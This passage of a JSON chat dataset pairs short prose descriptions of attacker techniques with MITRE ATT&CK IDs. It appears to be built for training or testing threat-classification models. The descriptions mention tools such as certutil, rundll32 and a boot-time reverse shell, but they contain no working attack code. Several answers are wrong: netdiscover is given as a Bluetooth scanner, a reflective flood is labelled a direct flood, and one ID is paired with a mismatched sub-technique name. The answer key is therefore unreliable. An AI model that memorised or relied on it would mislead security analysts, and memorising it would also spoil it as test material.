                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware retrieves a GCP access token from the metadata server and uses it to execute privileged cloud commands."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses netdiscover to map Bluetooth devices in the vicinity of the target's headquarters."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor engages in a covert transaction to acquire technical data on a target's encryption hardware from a covert online market."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker spoofs process arguments to make a malicious executable appear as a standard Windows installer."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By replaying a captured Microsoft Remote Assistance handshake, the attacker gains control of an ongoing assistance session."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the 'certutil -decodehex' command to translate a hex‑encoded payload into an executable."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan reads the registry to locate the location of the Windows security center service configuration."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a DGA that generates hundreds of candidate domains per hour for fallback communication."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor scans user home directories for SSH private keys and configuration files that contain saved passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using spoofed security alerts, the malware persuades the user to disable firewall settings, opening a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses hex encoding to obfuscate payloads embedded in PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a valid domain account to bypass MFA and gain access to Azure AD resources."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts password hashes from the domain controller and uses Pass-the-Hash to authenticate to remote servers."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a malicious Windows service that runs a backdoor executable at system boot."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through privileged access, the threat actor configures the system to automatically boot into Safe Mode after a crash, disabling endpoint protection."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a PowerShell command to extract the system's location information from system registry keys."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool reads the \"C:\\\\Users\" directory to enumerate existing local user profiles."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker removes scheduled tasks and registry Run keys used for persistence to hide their presence after achieving a foothold."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group employs the Windows 'rundll32.exe' with the 'url.dll,FileProtocolHandler' argument to open a malicious URL."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploited a misconfigured S3 bucket to replace the static website's index.html with defaced content."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a PowerShell script to upload a ransomware installer onto the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script is delivered as a .zip archive in a malicious download; when the user extracts and runs the .ps1 file, it executes the payload."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a lateral movement phase, the malicious tool purges the command history files to conceal its activity on each newly accessed machine."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries alter the boot.ini file to start the OS in Safe Mode, preventing antivirus from loading."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a privilege escalation exploit, the adversary replaces the default trust provider binary with a backdoored version, subverting the system's integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the SendMail API over SMTP to relay stolen credentials to an external email address."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen SSH keys, the threat actor uploads a crypto‑mining payload to the compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This APT group employs a DGA that incorporates random Unicode characters to evade domain blacklists."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors search open-source code repositories like GitHub for exposed configuration files that contain credentials."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves invoking the PubPrn RPC call to run a custom script on a compromised endpoint, bypassing traditional security controls."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT updates the system's recovery image on Android devices to embed a hidden backdoor."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs token impersonation by leveraging a stolen refresh token to obtain new access tokens for the victim's account."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit uses ptrace detection on Linux to determine if it is being traced and exits if it is."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor uses a backdoor to enumerate Docker container environment variables that contain configuration data."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider logs into a Palo Alto device's command line and runs scripts to exfiltrate logs."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deploys a custom SSP that is loaded by the Local Security Authority Subsystem Service (LSASS) at boot."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware component strips out any references to network shares in user profiles to prevent forensic discovery."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a tool that removes all strings and symbols from the payload before base64‑encoding it."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a malicious socket filter that discards security alerts and forwards only attacker‑controlled traffic."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised email account is used to forward malicious links to contacts, leading them to a credential‑phishing site."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential stuffing operation uses a compromised credential list to flood the login page of a ticketing website, aiming to hijack accounts with reused passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker steals a user's private SSH key from a compromised workstation and uses it to open a new session on the victim's server."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware collects driver version info using the ZwQuerySystemInformation call."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software reads the Linux GNOME keyring files to obtain stored Wi‑Fi and application credentials."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script written in VBScript is used to modify the firewall rules, allowing inbound connections on port 4444."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder modifies the Group Policy to disable security event logging, hindering detection of subsequent malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fileless infection modifies the virtual address space of a running service to inject malicious commands."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queried the Confluence REST API to enumerate all spaces and download each page's content."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is established by placing a shell script in `/etc/init.d/` that launches a reverse shell on system boot."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exfiltrated the private key from a hardware security module (HSM) and used it to sign a command‑and‑control client masquerading as a legitimate tool."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent mechanism is established by adding a launch daemon entry via the launchctl command line, pointing to a hidden binary."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using SSH, the intruder remotely runs a malicious binary on multiple servers to conduct distributed denial‑of‑service attacks."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a signed malicious kernel extension to evade Gatekeeper checks and gain elevated privileges on the target macOS system."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the \"Run\" registry key to automatically execute a hidden executable each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary adds a privileged domain account using the net user command on a compromised Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses WHOIS databases to map out domain registration timelines and renewal patterns."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module reads the Edge password store and exfiltrates the harvested credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor performs an HTTP GET request to \"https://myc2.example.com/ip\" to retrieve and log the victim's public IP address."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is packaged into a container and the attacker triggers its deployment via a compromised CI/CD pipeline."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor registers a new hardware security module to the victim’s account, effectively taking control of cryptographic operations."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials were used to edit the internal project management tool's welcome page, adding a defacement banner."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs a reflective UDP flood, sending spoofed requests to vulnerable services that reply to the victim’s IP, flooding its network."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group monitors the company’s social media engagement spikes to pinpoint high‑traffic business periods."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor alters the IDS rule set so that alerts for known malware signatures are never generated."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised system’s USB ports to copy critical logs onto a removable thumb drive."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor exploits the Windows DLL loading mechanism by placing a counterfeit DLL in a location that the loader checks before the authentic library, enabling code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a unit file that sets Restart=always, ensuring continuous execution of a payload."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in the Intel Management Engine, the attacker corrupts firmware to gain privileged access to the host."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker gains initial foothold by exploiting a vulnerable IoT device on the network to run arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By extracting a Kerberos ticket from a compromised host, the threat actor uses it to impersonate the user on remote services."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the Windows Service Control Manager to change the start type of a legitimate service to 'Automatic' after injecting code."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining SYSTEM privileges, the attacker creates a new administrative account to ensure persistence."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor dynamically resolves the domain of its C2 host using system DNS utilities prior to data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker leverages SNMP to retrieve configuration data from a router."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code was delivered by injecting a payload into the Windows PowerShell host (powershell.exe) using Mavinject, achieving system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal uses a public list of compromised credentials to perform rapid login attempts on the target's cloud service, succeeding on accounts with reused passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
